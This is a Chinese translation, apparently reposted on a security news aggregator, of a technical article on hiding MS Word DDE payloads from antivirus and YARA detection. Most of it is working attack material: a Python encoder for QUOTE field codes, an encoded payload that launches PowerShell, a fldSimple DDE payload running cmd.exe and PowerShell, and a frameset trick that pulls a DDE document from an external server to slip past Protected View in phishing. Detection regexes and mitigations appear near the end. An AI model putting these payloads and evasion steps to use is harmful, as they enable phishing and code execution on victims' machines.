Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

0
0
【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

2017-11-09 14:00:24

阅读:674次
点赞(0)
收藏
来源: staaldraad.github.io





【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

作者:興趣使然的小胃





【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

几周前,我和Saif El-Sherei在SensePost博客上发表了一篇文章,介绍了DDE(Dynamic Data Exchange,动态数据交换)的相关技术,以及如何利用这种技术,在不启用宏功能的MSWord上实现命令执行。我们没有想到这篇文章会吸引那么多人的目光。从那时起,钓鱼及恶意软件攻击行动中开始使用DDE技术,合法的红蓝对抗中也出现了这种技术的身影。随着DDE大规模用于攻击行动中,相应的检测机制也逐步完善,大多数反病毒软件引擎中已经包含基本的DDE检测功能。这类检测技术大多都基于YARA规则,可以识别.docx以及.doc文件中的DDE或者DDEAUTO字符串。在这种情况下,我想知道能否找到混淆文档中DDE特征的方法。现实中已经有人着手尝试过,比如这篇文章中,攻击者修改了DDE字符串的大小写状态,将特征字符串切割为多行形式,以规避基于Yara规则的检测技术。

在这篇文章中,我会与大家分享我在混淆特征及绕过检测方面的经验,希望这些经验能给攻防双方提供参考。

本文主要内容为:

1、如何混淆攻击载荷;

2、如何隐藏DDE/DDEAUTO特征;

3、应对方法。


二、如何混淆攻击载荷

在研究如何混淆DDE以及DDEAUTO域代码(Field Code)的方法之前,我想先重点研究一下如何混淆攻击载荷。之所以这么做,主要有两方面原因。其一,攻击载荷为一串简单的字符串,而不是一个保留的域代码,这意味着混淆载荷不大可能会破坏载荷的功能。其二,我们有更多的空间可以用来混淆,隐藏三个字符(DDE)会比隐藏包含255个字符的字符串难度更大。

由于这方面技术会涉及到域代码相关知识,我们可以尝试下能否在这一领域找到其他可用的混淆点。快速搜索“list field codes word”关键词后,我们找到了微软公布的一份支持文档,这份文档中列出了Word支持的所有域代码,对我们而言非常有用。花了一些时间遍历这些域代码后,我从中找到了一个可能用得上的代码,即QUOTE域。微软对这个域的描述为:“Quote域可以将特定的文本插入文档中”。这听起来非常有用,因为我们的目的是寻找能够修改载荷字符串的方法,而利用QUOTE域,我们可以修改字符串,并将其插入文档中。

顺便提一句,需要注意的是,我们可以在Word中使用嵌套形式的域代码,例如,关于QUOTE域,我们可以这么使用:

{QUOTE{IF{DATE\@"M"}=1"12""{={DATE\@"M"}-1}/1/03"\@"MMMM"}}

上面例子中包含嵌套形式的域代码,QUOTE域内部包含IF域代码,其内容会取决于FORMULA(=)的处理结果,最终包含DATE或者经过格式化的日期数据。

我们可以向QUOTE域提供某个字符的数字编码,它会将这个编码转换为对应的字符(我并没有找到关于这个技术点的参考资料)。比如,如果我们想要得到数字编码为65所对应的那个字符,我们可以在Word中使用如下域:

{QUOTE65}

这段代码最终会显示为字符A,而不是数字65,这正是我们希望得到的结果。现在我们可以将攻击载荷重新以数字形式进行编码,这样Word在执行我们的DDE之前会自动将数字编码转换为字符串。完整的代码如下:

{SETc"{QUOTE65656565}"} {SETd"{QUOTE71717171}"} {DDE{REFc}{REFd}}

上面这段内容等价于:

{DDE"AAAA""GGGG"}

此时,我们可以充分发挥想象力,在载荷中将AAAA以及GGGG替换为前面的那段代码。为了使替换过程更加便捷,我编写了一个python脚本,可以将给定的字符串转换为等效的QUOTE域代码。

#!/usr/env/python print("Convertsastringtothe{QUOTE}Fieldcode") st=raw_input("Stringtoconvert:") out="{QUOTE" forcinst: out+=("%s"%ord(c)) out+="}" print(out)

如果想要弹出powershell,我们可以使用如下代码:

{SETC"{QUOTE67589292801141111031149710911592927710599114111115111102116929279102102105991019292778387111114100461011201019292464692924646929246469292464692921191051101001111191159292115121115116101109515092921191051101001111191151121111191011141151041011081089292118494648929211211111910111411510410110810846101120101}"} {DDE{REFC}"a"}

2.1 Dirty链接

顾名思义,DDEAUTO在文档打开时会自动更新。然而,除非我们在文档上设置了“更新链接(update links)”属性,否则并不是所有的域代码都会自动更新。为了实现这一点,我们需要将我们所使用的链接标记为“dirty”链接(已过时链接),或者更改文档属性,让文档可以自动更新链接(可能会有其他方法比我的方法更加简单)。

具体方法是,当我们创建.docx文档后,可以使用归档管理器软件打开这个文档,然后编辑其中的document.xml文件。为了将链接标记为待更新的dirty链接,我们需要找到文件中以<w:fldChar>开头的所有字符串,添加w:dirty="true"字符串,如下所示:

<w:fldCharw:fldCharType="begin"w:dirty="true"/>

然后,保存document.xml,更新压缩包。现在当用户打开.docx文档时,所有的链接都会自动更新。同时,用户看到的是更加整洁的“Do you want to update”对话框,提示是否更新域。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

2.2 处理结果

最大的问题是,使用QUOTE后,我们是否能达到很好的效果?事实证明的确如此。我们使用了会弹出powershell对话框的Word样本进行测试(我认为如果Word会弹出Powershell对话框,那么这种行为显然是非常可疑的),结果发现VirusTotal上只有1/59的检测率。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

通常情况下,将.docx文件重新保存为.doc文件后,我们依然能得到同样的代码执行效果。然而,使用这种方法时,如果你想打开.doc文档,你会看到一个Error! No application specified错误对话框,这是因为嵌套的域代码没有正确更新的原因。可能会有一种方法能强制更新所有的域代码,然而受我个人知识面所限,我无法在Word中找到这类方法。


三、如何隐藏DDE特征

接下来另一个挑战是,如何隐藏并规避现有的检测机制,这类检测机制包括基于YARA规则以及基于DDE链接提取的技术。

3.1 YARA规则

据我所知,大多数YARA规则的原理都是在某个.docx文档的instrText元素中查找DDE或者DDEAUTO特征(我着重研究的是.docx文档,因为这类文档手动修改起来更加方便)。第一个YARA规则由Nviso Labs公布,包含如下正则表达式:

/<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/

这条规则能有效检测出第一批恶意文档,然而对于后续出现的多行变种文档而言却无能为力。在多行变种文档出现之前,我还找到了这个正则表达式中存在的另一个问题,并已将其反馈给Didier Stevens。如果你仔细研究Office Open XML文件格式规范时,你会发现fldChar域为复杂域(Complex Field)类型,可以包含可选属性。添加可选属性后,我们就能破坏上述YARA规则,无需利用DDEAUTO,只需使用DDE就能实施攻击。这个可选属性为dirty属性,只要将属性值设为true,就能强制更新域代码,因为规范中提到这样一句话:“(属性值为true)表明某个应用程序已标记该域,代表自上次保存以来,当前记录已发生更改,不再有效。”

我在前面提到的QUOTE域中也用到过这个属性,用来强制更新域值。与之前的步骤类似,我们只需要手动修改.docx文档,将该属性添加到文档中即可:

<w:r> <w:fldCharw:fldCharType="begin"w:dirty="true"/> </w:r>

上述正则表达式无法匹配这种可选属性,因此无法检测这类变种。我向Didier提交了新的匹配规则,新的规则可以适配可选属性,也可以适配包含任意空格符的XML数据:

<w:fldChar\s+?w:fldCharType="begin"\s+?(w:dirty="(true|false)")?\s+?\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>

3.2 Oletools:msodde.py

decalage2写了一个python工具:python-oletools,这个工具非常有趣,目前我还没有用它来测试一下我们构造的攻击载荷。这个工具可以从使用DDE攻击方法的所有已知变种中提取DDE载荷。如果利用这个工具来检测我们构造的QUOTE变种,我们发现它还是可以提取到相关链接,表明文档中仍然包含DDE攻击载荷:


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

虽然还需要花点精力,我们还是可以解码这些QUOTE字符,将其转换为待执行的字符串。那么,我们如何绕过这个工具?

回到Office Open XML文件格式(我非常喜欢阅读规范文档),我们发现还有另一个元素可以用来引用域代码。目前为止,我们用到过“Complex Field”类型的fldChar,然而,还有个“Simple Field”类型的fldSimple可以为我们所用。与fldChar不同的是,fldSimple元素并没有包含<w:instrText>子元素,实际上,它会将域代码作为属性加以使用,如w:instr="FIELD CODE"。

规范文档中提到如下一个例子:

<w:fldSimplew:instr="AUTHOR"w:fldLock="true"> <w:r> <w:t>RexJaeschke</w:t> </w:r> </w:fldSimple>

稍加修改后,这段示例代码就可以用于DDE攻击方法中,比如,我们可以嵌入载荷数据,如下所示:

<w:fldSimplew:instr='DDE"C:\\windows\\system32\\cmd.exe""/kpowershell.exe"'w:dirty="true"> <w:r> <w:t>Pew</w:t> </w:r> </w:fldSimple>

使用这种方法,我们还是能得到自动执行的DDE载荷,并且也能绕过Oletools工具:


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

我已经向oletools发起了Pull请求,希望能检测在fldSimple元素中嵌入的DDE链接。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

同样,这种方法在规避反病毒检测方面也取得了不俗的效果。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

需要注意的是,一旦载荷执行,基于行为检测的反病毒软件应该会检测到恶意行为,因此可以说,这些检测结果表明,我们可以绕过反病毒软件的静态扫描。

3.3 副作用

使用fldSimple时会存在一些副作用。如果你决定使用DDEAUTO方法,同时也用到了w:dirty="true",那么当终端用户想执行DDE应用程序时,他们会看到3个提示对话框(我不明白为什么是3个对话框,而不是2个对话框)。与普通方法相对比,这种情况下用户需要多次点击对话框中的“yes”按钮。

有趣的是,使用fldSimple以及c:\\windows\\system32\\cmd.exe /k powershell来启动powershell时,powershell会在cmd窗口内部运行,你可以直接进入powershell控制台。这种情况与在已有的cmd实例中运行powershell一致,但与常见的DDE场景不同(普通DDE会同时生成cmd以及powershell)。与此同时,你会得到一个无法加载PSRedline模块的提示信息:“Cannot load PSReadline module. Console is running without PSReadline”,如下图所示。感兴趣的读者可以进一步挖掘这个信息。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

3.4 无DDE

现在最大的挑战来了,在文档中我们有没有可能完全不包含DDE或者DDEAUTO特征?答案是肯定的,并且这一点对社会工程学方法大有好处。MSWord考虑得非常周到,会提示用户禁用受保护的试图(protected view)以便查看文档内容。

为了完成这个任务,我们可以使用另一个传统(legacy)功能。在历史上,微软曾将Word设计为可以处理与任何文本有关的一站式应用程序,其中就包含创建Web页面功能。Word曾经是编写HTML的一种IDE工具,虽然生成的HTML不是特别优雅,但也能正常工作。当时引入的一个特性就是frames(框架)以及framesets(框架集)。在Word中,我们可以使用frames来将不同的HTML/Text页面加载到frames中,并且HTML会被自动解析,转化为Word格式的内容。在Word 2016或者更早版本的Word中,程序界面中已经不再包含这种功能,然而程序底层依然包含相应的解析例程。这意味着如果我们创建包含嵌入式frames的文档,Word仍然会自动处理这些数据。

想要插入frameset的话,我们需要编辑纯净版的.docx文档。首先,解压缩这个文档,然后打开其中的webSettings.xml文件。接下来我们可以修改并添加新的XML元素frameset:

<w:frameset> <w:framesetSplitbar> <w:ww:val="60"/> <w:colorw:val="auto"/> <w:noBorder/> </w:framesetSplitbar> <w:frameset> <w:frame> <w:namew:val="1"/> <w:sourceFileNamer:id="rId1"/> <w:linkedToFile/> </w:frame> </w:frameset> </w:frameset>

这段内容应该插入到已有的<w:webSettings>元素内部,紧靠在<w:optimizeForBrowser/><w:allowPNG/>元素之前。接下来,我们需要添加rId1关系(Relationship),将我们的文档链接到外部文档。我们需要将名为webSettings.xml.rels的新文件添加到word/_rels/目录中,以完成这个任务。

该文件的内容如下所示:

<?xmlversion="1.0"encoding="UTF-8"standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <RelationshipId="rId1"Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame"Target="http://x.x.x.x/simple.docx"TargetMode="External"/> </Relationships>

我们链接的外部文档为包含DDE攻击载荷的.docx文件。这个例子中,我们会从地址为x.x.x.x的HTTP服务器加载simple.docx文件。首先,我们需要保存经过修改并已添加新内容的文件,然后更新整个.docx压缩包。现在,将经过修改的文档发给目标用户,等待用户打开。由于用户下载的文档包含MOTW(mark of the web)标记,因此该文档会在受保护视图状态下打开。然而,这种情况下,Word会检测到需要请求外部内容才能正确显示这个文件,因此会向用户提示:“链接的文件及其他功能已被禁用。要恢复此功能,你必须编辑此文件”。需要注意的是,这是来自Word的默认消息,我们没法操控这一点。

一旦用户禁用受保护的试图,Word会下载包含DDE攻击载荷的外部文档。这个文档不包含MOTW标记,会由Word负责解析,最终会触发正常的DDE消息。这种方法非常有用,可以夹带我们的DDE攻击载荷,而不会被反病毒软件扫描到。


四、应对措施

最好的应对措施应该是禁用自动更新链接功能,不要完全依赖反病毒软件。Will Dormannn(@wdormann)提出了一种方法,可以更改已安装的Office应用程序配置,使Office忽略链接并禁用链接的自动更新,详情请参考此处链接。

我非常乐意尝试另一种防御机制,那就是在Windows 10秋季创造者更新中引入的Windows Defender Exploit Guard功能。这个功能可以阻止Word、Excel、Powerpoint生成子进程。这样不仅能阻止子进程创建,也能阻止DDE攻击以及嵌入式OLE攻击等。需要注意的是,Matt Nelson(@enima0x3Attack)已经证实,Outlook以及Access都不会添加到ASR(Attack Surface Reduction)的保护范围中。

前面提到过,我已经发起一个pull请求,希望更新oletools工具。目前,基于DDE或者DDEAUTO关键词的YARA规则大部分应该都能正常工作。如果你还坚持搜索类似powershell之类的关键词,我想你需要与时俱进,改变思维,才能跟上这个时代的节奏。



【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测
【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://staaldraad.github.io/pentest/phishing/dde/2017/10/23/msword-field-codes/

Viewing all articles
Browse latest Browse all 12749